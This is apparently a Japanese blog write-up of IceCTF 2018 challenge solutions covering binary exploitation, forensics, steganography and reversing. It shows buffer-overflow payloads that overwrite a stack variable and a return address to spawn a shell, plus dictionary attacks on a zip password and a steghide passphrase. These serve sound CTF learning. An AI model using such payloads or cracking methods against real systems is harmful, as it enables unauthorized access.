IceCTF2018に参加したお話
はじめに
CTFtimeでみかけたIceCTFというものに参加したので、そこで解けた問題のwriteupを書きます。
目次
Binary Exploitation
Simple Overflow
問題ページに飛ぶと下記の画像のようなページが表示されます。 左側に概要と問題文、中央にアプリケーション、右側にアプリケーションのソースコードらしきものが表示されます。
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> const char* FLAG = "<REDACTED>" void flag() { printf("FLAG: %s\n", FLAG); } void message(char *input) { SHOW ORIGINAL char buf[16] = "Hello World!Hell"; SHOW ORIGINAL int secret = -889275714; // 0xcafebabe strcpy(buf, input); printf("You said: %s\n", buf); if (secret == 0xcafebabe) { flag(); } else { printf("The secret is 0x%x\n", secret); } } int main(int argc, char **argv) { if (argc > 1){ message(argv[1]); } else { printf("Usage: ./overflow <message>\n"); } return 0; }
問題は5つあり、それぞれ下記の通りでした。
1. Hello world!
In the textbox in the middle, try entering Hello World!
. Observe which variable within the code takes the value.
Overflow! What happens if you write more than 16 characters into the buffer? Can you make the secret change?
Take control Can you make secret take the value
1633771873 (0x61616161)
. Note that strings are stored in ASCII, and in ASCII, character number0x61
isa
.Little endian In most architectures, integers are read in reverse byte order from memory, in a method which is called Little endian. Can you make the secret take the value
1633837924 (0x61626364)
?Escape from ASCII As you may see in the code, to get past the restrictions and retrieve the flag,
secret
needs to have a value of0xcafebabe
. However not all these characters are in ASCII! What will you do? それぞれ下記の通り入力するとフラグが得られました。Hello World!
Hello World!aaaaa
Hello World!aaaaaaaa
Hello World!aaaadcba
Hello World!aaaa\xbe\xba\xfe\xca
5問目でブラウザだとどうエスケープすればいいのか悩んだのですが、一緒に参加していたメンバーがシンプルにエスケープして、フラグを得られました。
Cave
問題ページに飛ぶと前問と同様に下記の画像のようなページが表示されます。
ソースコードからして、前問と同様にBoFの脆弱性を利用して、シェルを奪う問題のようなので、解析をします。
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> void shell() { gid_t gid = getegid(); setresgid(gid, gid, gid); system("/bin/sh -i"); } void message(char *input) { char buf[16]; strcpy(buf, input); printf("The cave echoes.. %s\n", buf); } int main(int argc, char **argv) { if (argc > 1){ message(argv[1]); } else { printf("Usage: ./shout <message>\n"); } return 0; }
この環境では普通にobjdump
やreadelf
、gdb
が使えるようなので、それらを使って解析をしました。
その結果、message
関数にてstrcpy
関数を読んだ直後のスタックの状態を見て見ると下記のようになっていました。
入力バッファの先頭から29バイト以降にリターンアドレスらしきものがあるので、そこをshell
関数のアドレスに変更できればshell
関数を呼び出すことができます。
(gdb) x/32wx 0xffffd6c0 0xffffd6c0: 0x41414141 0xffffd700 0xf7ffcd00 0x00040000 0xffffd6d0: 0x00000000 0x00000000 0xffffd6f8 0x080485c2 0xffffd6e0: 0xffffd8dc 0xffffd7a4 0xffffd7b0 0x080485a5 0xffffd6f0: 0xffffd710 0x00000000 0x00000000 0xf7e28286 0xffffd700: 0x00000002 0xf7fc3000 0x00000000 0xf7e28286 0xffffd710: 0x00000002 0xffffd7a4 0xffffd7b0 0x00000000 0xffffd720: 0x00000000 0x00000000 0xf7fc3000 0xf7ffdc0c 0xffffd730: 0xf7ffd000 0x00000000 0x00000002 0xf7fc3000
ということで、下記のようなペイロードでフラグを得られました。
[adversary ~/cave]$ ./shout `python -c 'print("A"*28+"\x0b\x85\x04\x08")'` The cave echoes.. AAAAAAAAAAAAAAAAAAAAAAAAAAAA � sh-4.4$ ls flag.txt Makefile shout shout.c sh-4.4$ cat flag.txt IceCTF{i_dont_think_cavemen_overflowed_buffers}
Flag: IceCTF{i_dont_think_cavemen_overflowed_buffers}
Forensics
Modern Picasso
Description
Here's a rendition of some modern digital abstract art. Is it more than art though?
上のようなpicasso.gifが与えられます。 一枚一枚の画像を見ると、細かい点のようなものが少しずつうつっています。 ということで、pythonで分解して、andをとったらフラグが出てきました。
from PIL import Image, ImageSequence if __name__ == "__main__": im = Image.open("picasso.gif") frames = (frame.copy () for frame in ImageSequence.Iterator(im)) for i, f in enumerate(frames): name = 'p-{}.png'.format(i+1) f.save(name)
from cv2 import * if __name__ == "__main__": dst = imread('p-1.png') for i in range(2, 68): im = imread('p-'+str(i)+".png") dst = bitwise_and(im,dst) imwrite('output.png', dst)
Flag: IceCTF{wow_fast}
Hard Shells
Description
After a recent hack, a laptop was seized and subsequently analyzed. The victim of the hack? An innocent mexican restaurant. During the investigation they found this suspicous file. Can you find any evidence that the owner of this laptop is the culprit?
パスワードのかかったzipが与えられるので辞書攻撃でパスワードを探します。
# fcrackzip -u -D -p rockyou.txt hardshells.zip PASSWORD FOUND!!!!: pw == tacos # unzip hardshells.zip Archive: hardshells.zip creating: hardshells/ [hardshells.zip] hardshells/d password: inflating: hardshells/d # file hardshells/d hardshells/d: Minix filesystem, V1, 30 char names, 20 zones
パスワードはtacos
のようです。
中を見てみるとなにやら、Minix filesystem
なるものがありました。
The MINIX file system is the native file system of the MINIX operating system.
MINIX OS
のファイルシステムのようです。
# strings hardshells/d | head -10 dat~ IHDR IDATx vQ[m owWO ;1t' j{w]n tUiz5 rI_G &1|a
とりあえずstrings
コマンドで見てみると、IHDR
やIDAT
などの文字列が見えます。
つまり、このd
というファイルはpng
ファイルを含んでいることがわかります。
# binwalk hardshells/d DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 60457 0xEC29 Zlib compressed data, default compression
しかし、binwalk
コマンドで中を見てみても何もファイルが出てこないので、バイナリエディタでのぞいてみると、どうやらマジックナンバーが89 50 4E 47
ではなく、89 50 55 47
になっていることが確認できます。
ということで、55
の部分を4E
にしてあげて、ファイルを保存しなおし、再度binwalk
コマンドでextractすると、EC00.png
が出てきます。
# binwalk --dd="png" d DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 60416 0xEC00 PNG image, 1920 x 1080, 8-bit/color RGBA, non-interlaced 60457 0xEC29 Zlib compressed data, default compression 184532 0x2D0D4 LZMA compressed data, properties: 0x76, dictionary size: 2097152 bytes, uncompressed size: 2640046703830451273 bytes 209144 0x330F8 LZMA compressed data, properties: 0x6C, dictionary size: 2097152 bytes, uncompressed size: 758602624453919817 bytes
しかしこれを開いてみても画像の上部しか表示されないため、exiftool
で情報をのぞいてみると、Warning
が出ていることがわかります。
# exiftool -v EC00 ExifToolVersion = 10.32 FileName = EC00 Directory = . FileSize = 5182464 FileModifyDate = 1536819835 FileAccessDate = 1536819845 FileInodeChangeDate = 1536819835 FilePermissions = 33188 FileType = PNG FileTypeExtension = PNG MIMEType = image/png PNG IHDR (13 bytes): + [BinaryData directory, 13 bytes] | ImageWidth = 1920 | ImageHeight = 1080 | BitDepth = 8 | ColorType = 6 | Compression = 0 | Filter = 0 | Interlace = 0 Warning = Bad CRC for IDAT chunk Warning = Invalid PNG chunk size
もう一度、バイナリエディタで見てみると、1つめのIDAT chunkのlengthが0x2000
バイトなのに対し、2つめのIDAT chunkまでのlengthが0x2400
バイトあることに気づきました。
初めはlengthが間違えているのかと思ったのですが、間にあるバイト列をざーっと見てみると、明らかにゴミのようなバイト列が混じっており、区切りのいいところまで選択してみるとちょうど0x400
バイト分ありました。
ということで、この0x400
バイト分と、png
ファイルの前後にあった0x00
のバイト列を全て消して画像として開いたところフラグが得られました。
Flag: IceCTF{look_away_i_am_hacking}
Lost in the Forest
Description
You've rooted a notable hacker's system and you're sure that he has hidden something juicy on there. Can you find his secret?
fs
というディレクトリが与えられるので、ここからフラグを探していきます。
$ ls fs/ bin dev home media opt root sbin sys usr boot etc lib mnt proc run srv tmp var
tree
コマンドでディレクトリの全体を見てみると、hkr
というユーザーがいることがわかりました。
$ tree -a fs/ fs/ ... ├── home │ └── hkr │ ├── .bash_history │ ├── .bash_logout │ ├── .bash_profile │ ├── .bashrc │ ├── .profile │ ├── .ssh │ │ └── authorized_keys │ ├── Desktop │ │ └── clue.png │ ├── Documents │ ├── Downloads │ ├── Music │ ├── Pictures │ │ ├── ngsn2dhjtM1sulnzno1_500.jpg │ │ ├── ngw04qs2ah1r2r2hco1_500.jpg │ │ ├── ngw06omoVx1r2r2hco1_500.jpg ... │ │ ├── nrfh6lK0LK1t0ge0qo1_500.jpg │ │ ├── nrgufoLBGp1uxhpyfo1_1280.jpg │ │ └── nrjp4inobM1uvfeuho1_500.jpg │ ├── Videos │ └── hzpxbsklqvboyou ...
hkr
ユーザーのPictures
ディレクトリにたくさん画像が入っていたので、そこにヒントがあるのかなあと思ったのですが特に怪しいものはありませんでした。
つぎに.bash_history
を見てみると、なにやらダウンロードしたスクリプトでsecret
というファイルを処理した結果をhzpxbsklqvboyou
というファイルに流し込んでいました。
# cat fs/home/hkr/.bash_history ... wget https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf 5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZp ... mv eRkjLlksZp tool.py ... ./tool.py ../secret > ../hzpxbsklqvboyou ... shred secret ...
ということで、スクリプトをtool.py
として保存して中を見ます。
# curl https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZp > tool.py % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 100 364 100 364 0 0 1923 0 --:--:-- --:--:-- --:--:-- 1925
#!/usr/bin/python3 import sys import base64 def encode(filename): with open(filename, "r") as f: s = f.readline().strip() return base64.b64encode((''.join([chr(ord(s[x])+([5,-1,3,-3,2,15,-6,3,9,1,-3,-5,3,-15] * 3)[x]) for x in range(len(s))])).encode('utf-8')).decode('utf-8')[::-1]*5 if __name__ == "__main__": print(encode(sys.argv[1]))
受け取ったファイルの中身をencode
関数でエンコードして出力するスクリプトのようなので、下記のようなスクリプトを書いてデコードするとフラグが出てきました。
#!/usr/bin/python3 import sys import base64 def decode(filename): with open(filename, "r") as f: enc = f.readline().strip() enc = enc[0:int(len(enc)/5)] s = base64.b64decode(enc[::-1].encode('utf-8')).decode('utf-8') l = [chr(ord(s[x])-([5,-1,3,-3,2,15,-6,3,9,1,-3,-5,3,-15] * 3)[x])for x in range(len(s))] return "".join(l) if __name__ == "__main__": print(decode(sys.argv[1]))
# python tool.py fs/home/hkr/hzpxbsklqvboyou IceCTF{good_ol_history_lesson}
Flag: IceCTF{good_ol_history_lesson}
Steganogprahy
Drumbone
Description
I joined a couple of hacking channels on IRC and I started recieving these strange messages. Someone sent me this image. Can you figure out if there's anything suspicous hidden in it?
某Elliot氏の画像が与えられるので、とりあえずStegSolveでペラペラとビット抽出をしてみます。
すると、Blueの0ビット目のみを抽出した画像で、なにやらQRコードのようなドットが浮き上がってくるので、solved.bmp
としてこの画像を保存します。
ということで下記のスクリプトで整形すると、QRコードが得られました。
from PIL import Image if __name__ == "__main__": im = Image.open("solved.bmp") pix = im.load() qrcode = [] for i in range(0,29): line = [] for j in range(0,29): line.append('\033[48;5;255m \033[0m'*2 if sum(pix[1+6*i,1+6*j]) == 0 else ' '*2) print("".join(line)) qrcode.append(line)
Flag: IceCTF{Elliot_has_been_mapping_bits_all_day}
ちなみに、Drumbone
でggると、Blue Man Group
というアーティストの楽器の名前であることがわかります。
そのことから青の0ビット目を抽出すると予想するのが正攻法だったのかもしれません。
Hot or Not
DESCRIPTION
According to my friend Zuck, the first step on the path to great power is to rate the relative hotness of stuff... think Hot or Not.
ファイルサイズのデカイ、以下のような画像(配布画像のスクリーンショット)が得られます。
拡大してみると、犬とホットドッグが87×87
個並んでいることがわかりました。
ここでチームメンバーの一人が、ドラマSilicon valley
のNotHotDog
が元ネタじゃない?と教えてくれたので、適当に画像を分割して、gitに落ちていた識別器を使って識別しました。(識別には90分ほどかかりました。)
000000010100001000000000100111111111111000111111000000000111111000000000000000000010000000100000000010000000100000111111111111000111111000000000111111000000000000010001000100000000001010100010000000000111111111111011111111100000000111111000000000000000000001000001000001100000000000000111111000001000000111000111000010111000101000000000000010000000010000000000000000000000111111000000000001111001111000000111111000000000000000001000000000100000000000000010000111111000110110101111000111001000111000000000000000010000001000001000000000010100100100000111111100111111111010111111100100000001000010000000100110000100000010100100000100100010111111000111111111110111111000000000100000010000000001000000000000000001001101010000000111111010111111111010111111000000000100001101011000010000000000001100001000001000000000111001000000111010000001000000100000010000010000000010001000000010000000000000100000000111010000000111010000100001010110100000000000000000010010010010000000000000000010000100111000001000111000100000000000001000100010000100011000000001100000000000000110010000001000111000111110111000000111010000000000010101000000000000010000000000000001001000000000011111000111010111010100111000000000010001100010000001000010000101000000000000011000000010111010111100111011100111000000000000011000100100001000000000000000100001000000000111111001111001000111111000111000111111001010000100000010100000010000000000000000000000111111000111100000111111000111000111111001110000000000000000010000000000000000000000000111111000111000001111111001111100111111000000000000000001001000000010100000100000001000111001111100111001111000111101111000111001000101001000110000000000000000000000000000010111000111011111010111010111000111000111000000000000000010000001001000000100000000000000111000111011111000111000111010111000111000000010010000000011000000000010000001100000101111000000111111010010101111000010000111010100000000000000000001000100000100000000001100111000100111111000000000111100000000111000000000000001000001000000000000000000001110000111000000111111000010000111000000000111000100001100000001100000010000000010111111111111001000010000111111000111111010000111111000111111010100000111000000000101000111111111111000001010000111111010111111100100111111000111111010001010111100000000000001111111111111101110000000111111000111111000000111111100111111001001000111000111111111111111111010001111000111111111010000000000000111111000111111010111000111000111111111111111111111101001111000111111111000001000000000111111000111111000111000111001111111111111111111111100000111101111111111000001000101100111111000111111010111000111000111000111111111100111111111001111100110111111111000010111111111000000111111000111111000111000111111111001111111111001111010011111111111001010111111111000010111111000111111011111001111111111010111111111000111100000111111111000000111111111000000111111000111111000111111111001111000000000000111111111000111111000101111000100111111111000010100000000000111111111000111000000000000111111111001111111000000111010001111111111001000000000000010111111111000111000011000000111111111000111111000011111010010111111111000000010000000000111000000111111111001111000111111010000111000111111111000000010100111001000111100000010111001110111111111001111000111111000000111010111111111001001000010111000010111010000101111000001111111111000111000111111000000111000111111111010000100000111000010111011000010111111111000010010111100100000111001111000000001111000111111000001111111111111111111000111111111001011000111000000100111000111000001000111000111111000000111111111111111111001111111111000000001111100001011111001111100000000111000111111000000111111111111111111001111000000000111111111111111000000010111000111111000111100001010100111111111001111111110111010000000111111111111111000000000111001111111000111000010000000111111111000111111011111000000100111111111111111000100000111010111111000111000000001010111111111000111111000111000111111000001111000000011111111111111111000000000000111000000111111000000111000000001010111111100000111101001000111111111111111000010000000111000010111111000100111001001001100111111101010111000010100111111111111111000000100000111000000111111100000111000001000111111111111111010111000111111111010111111111111111111111111111111100110010111011111110111111111111111000111100111111111000111111111111111111111111111111000000010111000111000111111111111111000111000111111111000111111111111111111111111111111001000000111101111000111111010000100101101100100111000111010101100111111111111111111110111111111111111000000111111000000000000010000001111001111000100000111111111111111111110111111111111111000100111111000000000000000000010111100111010010010111111111111111111000111111111111111010000000000111111111000111001111000000000111000101001000111010000111111100000000111000010111010010111111111000111001111000000000111000000000000111000001111111100000000111001010111000000111111111000111000111000000100111101000000000111010000111111000110100111000100111010001111111111000000111111111010000111111000000111011100000111000000111111111000000111101001111111111001000111111111000000111111000010111000010000111000000111111111000000111000010111111111000000111111111000000111111010001111000000000111000010111111111100000111111111000111001000111000111010111000111101000000000111111000111111111111111000100111100111111000111100100111000111000111000111000100000000111111000111111111111111000000111010111111100111001000111000111100111000111000000000011111111000111111111111111000000111000000000000001100000100000111010111111001000111000011000111000111001001101111100111010111000001000000000000000000111000111111000000111000000001111000111100100000111100111000111000010000000000100001010111000111111110000111000000000111000111000001000111000111000111010000010100000000000000111111010000111001111100111001000111111100111000111111100000111100010100000000000100000111111010100111010111000111000000111111000111000111111000000111000010001000000000000000111111000000111000111100111000000111111000111000111111100000111000000100100100001100000111111111111111111111111100111100000111000000000111111010000111000000000100010000101000111111111111111111111111000111000000111000000100111111000000111100000000010001111000001111111111111111111111111000111000001111001000100111111000000111000000001001010000100000111000111000111000111111010111111111111111111111111111111000000001000100000000000010000111000111000111001111111000111111111111111111111111111111000000000000000011010000010001111010111000111000111111000111111111111111111111111111111010000010000011000010000000000000111111000000000000000111000111111111111000111111100111111000000000001000100010000010000111111000000000000010111100111111111111001111111010111111000000000000100000000000000001111111010101000000100111001111111111111001111111100111111010110000000000100000000000000000111111111111111111111111000000111111000010000011000111111000000000000000000000001000000111111111111111111111111000000111111010000010000100111111000000000000001110000000100010111111111111111111111111100010111111000100001000000111111010000010000000000000110001000000111111111000001111000010111111000111001111111100111111000010011000010000000000100000000111111111010001111000001111111001111000111111000111111110000000000000010001010000000010111111111000001111000000111111010111111111111100111111000000000100000000100000000000000000111111111111000001111000111111111100111000001111000000000000000000000000000101000000001111111111111000000111010111111111000111000110111001000101000001000000000001000000000011111111111111000010111100111111111110111001011111000
そして、この結果をスクリプトで整形して出力するとQRコードが出てきました。
def reset_dict(n): cand = {} for i in range(n): cand[i] = 0 return cand if __name__ == "__main__": with open("l.txt", "r") as f: l = f.read() l = list(l[:-1]) cand = reset_dict(29) qr = [] x = y = n = 0 for i in range(len(l)): x = i%3 cand[n] += int(l[i]) if x == 2: n += 1 if n == 29: y += 1; n = 0 if y == 3: for j in range(29): if cand[j] > 4: qr.append(0) else: qr.append(1) cand = reset_dict(29) y = 0 x = y = 0 b_a = [0,1,2,3,4,5,6] b_b = [22,23,24,25,26,27,28] b_c = [0,6] b_d = [22,28] b_e = [2,3,4] b_f = [24,25,26] for i in range(len(qr)): if x in b_a+b_b and y in b_c: qr[i] = 0 if x in b_a and y in b_d: qr[i] = 0 if x in b_c and y in b_a+b_b: qr[i] = 0 if x in b_d and y in b_a: qr[i] = 0 if x in b_e+b_f and y in b_e: qr[i] = 0 if x in b_e and y in b_f: qr[i] = 0 x += 1 if x == 29: y += 1; x = 0 ans = [] for i in range(len(qr)): if qr[i] == 0: ans.append("\033[48;5;255m \033[0m"*2) else: ans.append("\033[48;5;0m \033[0m"*2) x = i+1 if x % 29 == 0: ans.append("\n") print("".join(ans))
Flag: IceCTF{h0td1gg1tyd0g}
Rabbit Hole
たまねぎの画像だけが与えられます。
青い空を見上げればいつもそこに白い猫
を使って調査をしていると、ステガノグラフィー->ビット抽出->ビット表示スクリーン
に下記のような文言が書いてありました。
[フォーマット解析情報] タイプ:JPEG 355 x 355 (0x163 x 0x163) 24bits 14311 (0x37E7)Byte Steghide適用可能性あり
Steghideを適用した可能性があるということなので、Steghideのパスフレーズを辞書攻撃で求めます。
# ./steg_brute.py -b -d password.lst -f rabbithole.jpg [i] Searching... 61%|################################################################################## | wrote extracted data to "rabbithole_flag.txt". [+] Information obtained with password: onion wsqxiyhn23zdi6ia
ということで、パスワードはonion
でwsqxiyhn23zdi6ia
という文字列がでてきました。
これがフラグかと思ったのですが、どうやら違うようでwsqxiyhn23zdi6ia.onion
というディープなウェブサイトにアクセスする必要があるようです。
アクセスすると以下のようなサイトを閲覧できます。
どうやら、この緑の文字の部分に何かが隠されているようです。
ということで、ソースコードをダウンロードし、html部分を除いたものをsrc
というファイルとして保存します。
最初は、この文字列はUTF-8でダブルエンコーディングされた文字列なのかなあと最後まで悩んでいたのですが、CTF終了後に聞く話によればbase65536
でエンコードされているとのことでした。
ということで、pip install base65536
して下記のスクリプトを実行します。
import base65536 if __name__ == "__main__": with open("src") as f: s = f.read().split()[0] somefile = base65536.decode(s) with open("somefile", "wb") as f: f.write(somefile)
# python dec.py # ls dec.py somefile src # file somefile somefile: Zip archive data, at least v1.0 to extract # unzip somefile Archive: somefile creating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/ inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/titlepage.xhtml inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/stylesheet.css inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/cover.jpg creating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/META-INF/ inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/META-INF/container.xml inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1_html_36fa3f12.png inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1.ch.fixed.fc.tidied.stylehacked.xfixed_split_001.html inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1_html_2213599d.png inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1_html_m54ba1c00.png inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/content.opf extracting: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/mimetype inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/toc.ncx inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1_html_m5fceb080.png inflating: smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1.ch.fixed.fc.tidied.stylehacked.xfixed_split_000.html
base65536
デコードしたものをファイルに出力すると、あら不思議zip
ファイルが出てきました。
# cd smashwords-epub-90dd9972-b607-4a17-8947-3e8521ec89b9/ # grep -r IceCTF . ./tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1.ch.fixed.fc.tidied.stylehacked.xfixed_split_001.html:down with The Post's Alice Rhee to explain. IceCTF{if_you_see_this_youve_breached_my_privacy} (Thomas LeGro/The
zip
ファイルを展開して、(もう真面目にフラグを探す気力もないので)脳死grep
コマンドを打ったらフラグが出てきました。
Flag: IceCTF{if_you_see_this_youve_breached_my_privacy}
Reverse Engineering
Description
This is a fancy looking lock, I wonder what would happen if you broke it open? Note: You can download the binary here
実行ファイルを実行してみると、Enter key:
でキーを入力しろと言われます。
$ ./lock This is a pesky lock.. do you think you can open it? Enter key: aaaa key failed
キーの判定場所を探します。
上の図から、strlen_920
という関数の返り値によって右(シェルをとれる)か、左(そのままexitする)かに分かれていることがわかります。
strlen_920
という関数の中を見てみると、関数中央から下で何らかの文字列をmemfrob
関数でエンコード(デコード)し、その結果と入力文字列が入っていると思われる変数をstrcmp
関数で比較していることがわかります。
ということで、(相変わらずradare2の静的解析の方法を調べていないため)gdbで動的解析を行います。
# gdb -q lock Reading symbols from lock...(no debugging symbols found)...done. (gdb) b main Breakpoint 1 at 0x67f (gdb) run Starting program: /root/ctf/icectf/LockedOut/lock Breakpoint 1, 0x5655567f in main () (gdb) b *0x565556e9 Breakpoint 2 at 0x565556e9 (gdb) c Continuing. This is a pesky lock.. do you think you can open it? Enter key: AAAA Breakpoint 2, 0x565556e9 in main ()
まず、main
関数にブレークポイントを仕掛けて、さらに先ほどのradare2で見つけたstrlen_920
という関数にもブレークポイントを仕掛けて、その関数まで処理を進めます。
さらに、入力文字列となんらかの文字列を比較しているstrcmp
関数の手前まで処理を進めます。
(gdb) x/s $esi 0x56558980: "aXat9r45UtyMjw4i5Wh8swVWmEg3vAbWZaijTWP8"
strcmp
関数まで進めて、引数の文字列を調べてみると、上記のような文字列が出力されます。
これがキーではないかと、予想して、再度バイナリを実行してこの文字列を入力してみます。
[adversary ~/lockedout]$ ./lock This is a pesky lock.. do you think you can open it? Enter key: aXat9r45UtyMjw4i5Wh8swVWmEg3vAbWZaijTWP8 unlocked! sh-4.4$ ls flag.txt lock sh-4.4$ cat flag.txt IceCTF{you_m3ddling_k1ds}
Flag: IceCTF{you_m3ddling_k1ds}
おわりに
QRコードが出てきたときの快感を覚えてしまいました。 WebとCryptoにまったく手がでずつらい。精進したいです。